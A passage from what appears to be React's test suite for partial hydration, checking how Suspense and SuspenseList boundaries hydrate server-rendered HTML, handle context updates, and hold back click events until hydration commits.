await waitForAll(['Child']);\n\n      expect(container.textContent).toBe('Hello');\n\n      suspend = false;\n      resolve();\n      await promise;\n    });\n    assertLog(['Child', 'Sibling']);\n\n    expect(container.textContent).toBe('Hello');\n  });\n\n  it('blocks the update to hydrate first if context has changed', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n    const Context = React.createContext(null);\n\n    function Child() {\n      const {text, className} = React.useContext(Context);\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    const App = React.memo(function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n          </Suspense>\n        </div>\n      );\n    });\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    root.render(\n      <Context.Provider value={{text: 'Hi', className: 'hi'}}>\n        <App />\n      </Context.Provider>,\n    );\n\n    // At the same time, resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // Since this should have been hydrated, this should still be the same span.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(newSpan).toBe(span);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('shows the fallback if context has changed before hydration completes and is still suspended', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n    const Context = React.createContext(null);\n\n    function Child() {\n      const {text, className} = React.useContext(Context);\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    const App = React.memo(function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n          </Suspense>\n        </div>\n      );\n    });\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Render an update, but leave it still suspended.\n    // Flushing now should delete the existing content and show the fallback.\n    await act(() => {\n      root.render(\n        <Context.Provider value={{text: 'Hi', className: 'hi'}}>\n          <App />\n        </Context.Provider>,\n      );\n    });\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Loading...');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n  });\n\n  it('replaces the fallback with client content if it is not rendered by the server', async () => {\n    let suspend = false;\n    const promise = new Promise(resolvePromise => {});\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref}>\n              <Child />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = true;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n\n    // On the client we have the data available quickly for some reason.\n    suspend = false;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    if (__DEV__) {\n      await waitForAll([\n        'onRecoverableError: Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used' +\n          ' \"renderToString\" which does not support Suspense.',\n      ]);\n    } else {\n      await waitForAll([\n        'onRecoverableError: The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering.',\n      ]);\n    }\n    jest.runAllTimers();\n\n    expect(container.textContent).toBe('Hello');\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(ref.current).toBe(span);\n  });\n\n  it('replaces the fallback within the suspended time if there is a nested suspense', async () => {\n    let suspend = false;\n    const promise = new Promise(resolvePromise => {});\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function InnerChild() {\n      // Always suspends indefinitely\n      throw promise;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref}>\n              <Child />\n            </span>\n            <Suspense fallback={null}>\n              <InnerChild />\n            </Suspense>\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = true;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n\n    // On the client we have the data available quickly for some reason.\n    suspend = false;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    if (__DEV__) {\n      await waitForAll([\n        'onRecoverableError: Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used' +\n          ' \"renderToString\" which does not support Suspense.',\n      ]);\n    } else {\n      await waitForAll([\n        'onRecoverableError: The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering.',\n      ]);\n    }\n    // This will have exceeded the suspended time so we should timeout.\n    jest.advanceTimersByTime(500);\n    // The boundary should longer be suspended for the middle content\n    // even though the inner boundary is still suspended.\n\n    expect(container.textContent).toBe('Hello');\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(ref.current).toBe(span);\n  });\n\n  it('replaces the fallback within the suspended time if there is a nested suspense in a nested suspense', async () => {\n    let suspend = false;\n    const promise = new Promise(resolvePromise => {});\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function InnerChild() {\n      // Always suspends indefinitely\n      throw promise;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Another layer\">\n            <Suspense fallback=\"Loading...\">\n              <span ref={ref}>\n                <Child />\n              </span>\n              <Suspense fallback={null}>\n                <InnerChild />\n              </Suspense>\n            </Suspense>\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = true;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n\n    // On the client we have the data available quickly for some reason.\n    suspend = false;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    if (__DEV__) {\n      await waitForAll([\n        'onRecoverableError: Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used' +\n          ' \"renderToString\" which does not support Suspense.',\n      ]);\n    } else {\n      await waitForAll([\n        'onRecoverableError: The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering.',\n      ]);\n    }\n    // This will have exceeded the suspended time so we should timeout.\n    jest.advanceTimersByTime(500);\n    // The boundary should longer be suspended for the middle content\n    // even though the inner boundary is still suspended.\n\n    expect(container.textContent).toBe('Hello');\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(ref.current).toBe(span);\n  });\n\n  // @gate enableSuspenseList\n  it('shows inserted items in a SuspenseList before content is hydrated', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({children}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return children;\n      }\n    }\n\n    // These are hoisted to avoid them from rerendering.\n    const a = (\n      <Suspense fallback=\"Loading A\">\n        <Child>\n          <span>A</span>\n        </Child>\n      </Suspense>\n    );\n    const b = (\n      <Suspense fallback=\"Loading B\">\n        <Child>\n          <span ref={ref}>B</span>\n        </Child>\n      </Suspense>\n    );\n\n    function App({showMore}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {a}\n          {b}\n          {showMore ? (\n            <Suspense fallback=\"Loading C\">\n              <span>C</span>\n            </Suspense>\n          ) : null}\n        </SuspenseList>\n      );\n    }\n\n    suspend = false;\n    const html = ReactDOMServer.renderToString(<App showMore={false} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = html;\n\n    const spanB = container.getElementsByTagName('span')[1];\n\n    suspend = true;\n    const root = await act(() =>\n      ReactDOMClient.hydrateRoot(container, <App showMore={false} />),\n    );\n\n    // We're not hydrated yet.\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('AB');\n\n    // Add more rows before we've hydrated the first two.\n    await act(() => {\n      root.render(<App showMore={true} />);\n    });\n\n    // We're not hydrated yet.\n    expect(ref.current).toBe(null);\n\n    // Since the first two are already showing their final content\n    // we should be able to show the real content.\n    expect(container.textContent).toBe('ABC');\n\n    suspend = false;\n    await act(async () => {\n      await resolve();\n    });\n\n    expect(container.textContent).toBe('ABC');\n    // We've hydrated the same span.\n    expect(ref.current).toBe(spanB);\n  });\n\n  // @gate enableSuspenseList\n  it('shows is able to hydrate boundaries even if others in a list are pending', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({children}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return children;\n      }\n    }\n\n    const promise2 = new Promise(() => {});\n    function AlwaysSuspend() {\n      throw promise2;\n    }\n\n    // This is hoisted to avoid them from rerendering.\n    const a = (\n      <Suspense fallback=\"Loading A\">\n        <Child>\n          <span ref={ref}>A</span>\n        </Child>\n      </Suspense>\n    );\n\n    function App({showMore}) {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          {a}\n          {showMore ? (\n            <Suspense fallback=\"Loading B\">\n              <AlwaysSuspend />\n            </Suspense>\n          ) : null}\n        </SuspenseList>\n      );\n    }\n\n    suspend = false;\n    const html = ReactDOMServer.renderToString(<App showMore={false} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = html;\n\n    const spanA = container.getElementsByTagName('span')[0];\n\n    suspend = true;\n    const root = await act(() =>\n      ReactDOMClient.hydrateRoot(container, <App showMore={false} />),\n    );\n\n    // We're not hydrated yet.\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('A');\n\n    await act(async () => {\n      // Add another row before we've hydrated the first one.\n      root.render(<App showMore={true} />);\n      // At the same time, we resolve the blocking promise.\n      suspend = false;\n      await resolve();\n    });\n\n    // We should have been able to hydrate the first row.\n    expect(ref.current).toBe(spanA);\n    // Even though we're still slowing B.\n    expect(container.textContent).toBe('ALoading B');\n  });\n\n  // @gate enableSuspenseList\n  it('clears server boundaries when SuspenseList runs out of time hydrating', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    const ref = React.createRef();\n\n    function Child({children}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return children;\n      }\n    }\n\n    function Before() {\n      Scheduler.log('Before');\n      return null;\n    }\n\n    function After() {\n      Scheduler.log('After');\n      return null;\n    }\n\n    function FirstRow() {\n      return (\n        <>\n          <Before />\n          <Suspense fallback=\"Loading A\">\n            <span>A</span>\n          </Suspense>\n          <After />\n        </>\n      );\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={null}>\n          <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n            <FirstRow />\n            <Suspense fallback=\"Loading B\">\n              <Child>\n                <span ref={ref}>B</span>\n              </Child>\n            </Suspense>\n          </SuspenseList>\n        </Suspense>\n      );\n    }\n\n    suspend = false;\n    const html = ReactDOMServer.renderToString(<App />);\n    assertLog(['Before', 'After']);\n\n    const container = document.createElement('div');\n    container.innerHTML = html;\n\n    const b = container.getElementsByTagName('span')[1];\n    expect(b.textContent).toBe('B');\n\n    const root = ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Increase hydration priority to higher than \"offscreen\".\n    root.unstable_scheduleHydration(b);\n\n    suspend = true;\n\n    await act(async () => {\n      await waitFor(['Before', 'After']);\n\n      // This will cause us to skip the second row completely.\n    });\n\n    // We haven't hydrated the second child but the placeholder is still in the list.\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('AB');\n\n    suspend = false;\n    await act(async () => {\n      // Resolve the boundary to be in its resolved final state.\n      await resolve();\n    });\n\n    expect(container.textContent).toBe('AB');\n    expect(ref.current).toBe(b);\n  });\n\n  // @gate enableSuspenseList\n  it('clears server boundaries when SuspenseList suspends last row hydrating', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({children}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return children;\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={null}>\n          <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n            <Suspense fallback=\"Loading A\">\n              <span>A</span>\n            </Suspense>\n            <Suspense fallback=\"Loading B\">\n              <Child>\n                <span>B</span>\n              </Child>\n            </Suspense>\n          </SuspenseList>\n        </Suspense>\n      );\n    }\n\n    suspend = true;\n    const html = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = html;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n\n    suspend = true;\n    if (__DEV__) {\n      await waitForAll([\n        'onRecoverableError: Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used' +\n          ' \"renderToString\" which does not support Suspense.',\n      ]);\n    } else {\n      await waitForAll([\n        'onRecoverableError: The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering.',\n      ]);\n    }\n\n    // We haven't hydrated the second child but the placeholder is still in the list.\n    expect(container.textContent).toBe('ALoading B');\n\n    suspend = false;\n    await act(async () => {\n      // Resolve the boundary to be in its resolved final state.\n      await resolve();\n    });\n\n    expect(container.textContent).toBe('AB');\n  });\n\n  it('can client render nested boundaries', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense\n            fallback={\n              <>\n                <Suspense fallback=\"Loading...\">\n                  <Child />\n                </Suspense>\n                <span>Inner Sibling</span>\n              </>\n            }>\n            <Child />\n          </Suspense>\n          <span ref={ref}>Sibling</span>\n        </div>\n      );\n    }\n\n    suspend = true;\n    const html = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = html + '<!--unrelated comment-->';\n\n    const span = container.getElementsByTagName('span')[1];\n\n    suspend = false;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    if (__DEV__) {\n      await waitForAll([\n        'onRecoverableError: Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'The server used' +\n          ' \"renderToString\" which does not support Suspense.',\n      ]);\n    } else {\n      await waitForAll([\n        'onRecoverableError: The server could not finish this Suspense boundary, likely due to ' +\n          'an error during server rendering.',\n      ]);\n    }\n    jest.runAllTimers();\n\n    expect(ref.current).toBe(span);\n    expect(span.parentNode).not.toBe(null);\n\n    // It leaves non-React comments alone.\n    expect(container.lastChild.nodeType).toBe(8);\n    expect(container.lastChild.data).toBe('unrelated comment');\n  });\n\n  it('can hydrate TWO suspense boundaries', async () => {\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading 1...\">\n            <span ref={ref1}>1</span>\n          </Suspense>\n          <Suspense fallback=\"Loading 2...\">\n            <span ref={ref2}>2</span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span1 = container.getElementsByTagName('span')[0];\n    const span2 = container.getElementsByTagName('span')[1];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(ref1.current).toBe(span1);\n    expect(ref2.current).toBe(span2);\n  });\n\n  it('regenerates if it cannot hydrate before changes to props/context expire', async () => {\n    let suspend = false;\n    const promise = new Promise(resolvePromise => {});\n    const ref = React.createRef();\n    const ClassName = React.createContext(null);\n\n    function Child({text}) {\n      const className = React.useContext(ClassName);\n      if (suspend && className !== 'hi' && text !== 'Hi') {\n        // Never suspends on the newer data.\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text={text} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <ClassName.Provider value={'hello'}>\n        <App text=\"Hello\" />\n      </ClassName.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <ClassName.Provider value={'hello'}>\n        <App text=\"Hello\" />\n      </ClassName.Provider>,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    // The new update doesn't suspend.\n    // Since we're still suspended on the original data, we can't hydrate.\n    // This will force all expiration times to flush.\n    await act(() => {\n      root.render(\n        <ClassName.Provider value={'hi'}>\n          <App text=\"Hi\" />\n        </ClassName.Provider>,\n      );\n    });\n\n    // This will now be a new span because we weren't able to hydrate before\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(newSpan).not.toBe(span);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(newSpan);\n    expect(newSpan.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(newSpan.className).toBe('hi');\n  });\n\n  it('does not invoke an event on a hydrated node until it commits', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let clicks = 0;\n\n    function Button() {\n      const [clicked, setClicked] = React.useState(false);\n      if (clicked) {\n        return null;\n      }\n      return (\n        <a\n          onClick={() => {\n            setClicked(true);\n            clicks++;\n          }}>\n          Click me\n        </a>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Button />\n            <Sibling />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.textContent).toBe('Click meHello');\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n    expect(container.textContent).toBe('Click meHello');\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('does not invoke an event on a hydrated event handle until it commits', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    const onEvent = jest.fn();\n\n    function Button() {\n      const ref = React.useRef(null);\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, onEvent);\n        });\n      }\n      return <a ref={ref}>Click me</a>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Button />\n            <Sibling />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    isServerRendering = false;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    a.click();\n    // This should be delayed.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    // We should not have invoked the event yet because we're not\n    // yet hydrated.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('invokes discrete events on nested suspense boundaries in a root (legacy system)', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicks = 0;\n\n    function Button() {\n      return (\n        <a\n          onClick={() => {\n            clicks++;\n          }}>\n          Click me\n        </a>\n      );\n    }\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <Suspense fallback=\"Loading...\">\n            <Button />\n          </Suspense>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child />\n        </Suspense>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    await act(() => {\n      a.click();\n    });\n    // This should be delayed.\n    expect(clicks).toBe(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('invokes discrete events on nested suspense boundaries in a root (createEventHandle)', async () => {\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    const onEvent = jest.fn();\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n\n    function Button() {\n      const ref = React.useRef(null);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, onEvent);\n        });\n      }\n\n      return <a ref={ref}>Click me</a>;\n    }\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <Suspense fallback=\"Loading...\">\n            <Button />\n          </Suspense>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child />\n        </Suspense>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    isServerRendering = false;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    a.click();\n    // This should be delayed.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    // We should not have invoked the event yet because we're not\n    // yet hydrated.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not invoke the parent of dehydrated boundary event', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicksOnParent = 0;\n    let clicksOnChild = 0;\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span\n            onClick={e => {\n              // The stopPropagation is showing an example why invoking\n              // the event on only a parent might not be correct.\n              e.stopPropagation();\n              clicksOnChild++;\n            }}>\n            Hello\n          </span>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <div onClick={() => clicksOnParent++}>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      span.click();\n    });\n    expect(clicksOnChild).toBe(0);\n    expect(clicksOnParent).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicksOnChild).toBe(0);\n    expect(clicksOnParent).toBe(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not invoke an event on a parent tree when a subtree is dehydrated', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicks = 0;\n    const childSlotRef = React.createRef();\n\n    function Parent() {\n      return <div onClick={() => clicks++} ref={childSlotRef} />;\n    }\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return <a>Click me</a>;\n      }\n    }\n\n    function App() {\n      // The root is a Suspense boundary.\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child />\n        </Suspense>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const parentContainer = document.createElement('div');\n    const childContainer = document.createElement('div');\n\n    // We need 